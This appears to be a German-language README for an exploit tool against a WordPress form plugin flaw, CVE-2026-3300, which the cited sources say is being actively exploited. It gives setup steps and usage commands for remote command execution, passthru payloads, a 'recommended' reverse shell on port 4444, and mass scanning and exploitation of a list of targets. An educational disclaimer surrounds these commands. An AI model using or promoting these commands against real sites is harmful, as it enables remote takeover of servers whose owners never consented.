CVE-2026-3300 - Wordpress

⚡ Einfache Nutzung

Verwenden Sie dieses Projekt nur in sicheren und autorisierten Umgebungen wie:

• Lokale virtuelle Maschinen
• Docker-Container
• Isolierte Laborumgebungen
• Autorisierte Penetrationstest-Umgebungen

Beispiel-Setup:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

Beispielnutzung:

# Normal command execution
python cve-2026-3300.py http://localhost --mode poc -c "whoami"

# Try different payload types
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"

# Reverse Shell (Recommended)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444

# Scan all targets
python cve-2026-3300.py --file targets.txt --mode scan

# Exploit all targets
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"

# Reverse shell (single target)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444

# Test with common field names
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"

# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444

Quellen und Referenzen

• https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
• https://thehackernews.com/2026/06/hackers-exploit-critical-everest-forms.html
• https://sansec.io/research/stripe-api-skimmer-infrastructure

📚 Bildungsorientiertes Sicherheitsforschungs-Repository

Ein Repository zum Erlernen, Testen und Erforschen von Cybersicherheitskonzepten in kontrollierten Umgebungen.

⚠️ Sicherheits- und Rechtshinweis

Zweck

Dieses Repository dient nur zu Bildungs- und autorisierten Sicherheitsforschungszwecken.

Es wurde entwickelt, um Benutzern zu helfen, Folgendes zu lernen:

• Sicherheitslücken
• Sandbox- und Isolationskonzepte
• Sichere Codierung und defensive Praktiken

Nur autorisierte Nutzung

Verwenden Sie dieses Repository nur in Umgebungen, in denen Sie die Berechtigung haben, wie z. B.:

• Persönliche Labore oder virtuelle Maschinen
• Docker- oder isolierte Umgebungen
• Autorisierte Penetrationstests
• Cybersicherheitsschulungen oder akademische Forschung

Unbefugte oder illegale Nutzung ist strengstens untersagt.

Keine Haftung

Die Autoren und Mitwirkenden sind nicht verantwortlich für Schäden, Missbrauch, rechtliche Probleme oder Verluste, die durch dieses Projekt entstehen.

Durch die Nutzung dieses Repositorys stimmen Sie zu, dass:

• Sie für Ihre eigenen Handlungen verantwortlich sind
• Sie es legal und ethisch korrekt verwenden
• Das Projekt wird ohne Gewährleistung bereitgestellt

Ethische Nutzung

Dieses Projekt ist bestimmt für:

• Defensive Sicherheitsforschung
• Cybersicherheitsbildung
• Sensibilisierung für Sicherheitslücken
• Sichere System- und Softwareforschung

Bitte befolgen Sie verantwortungsbewusste Offenlegungspraktiken und halten Sie sich an alle geltenden Gesetze.

Kontakt

Für verantwortungsbewusste Offenlegung oder Zusammenarbeit kontaktieren Sie den Repository-Maintainer über GitHub.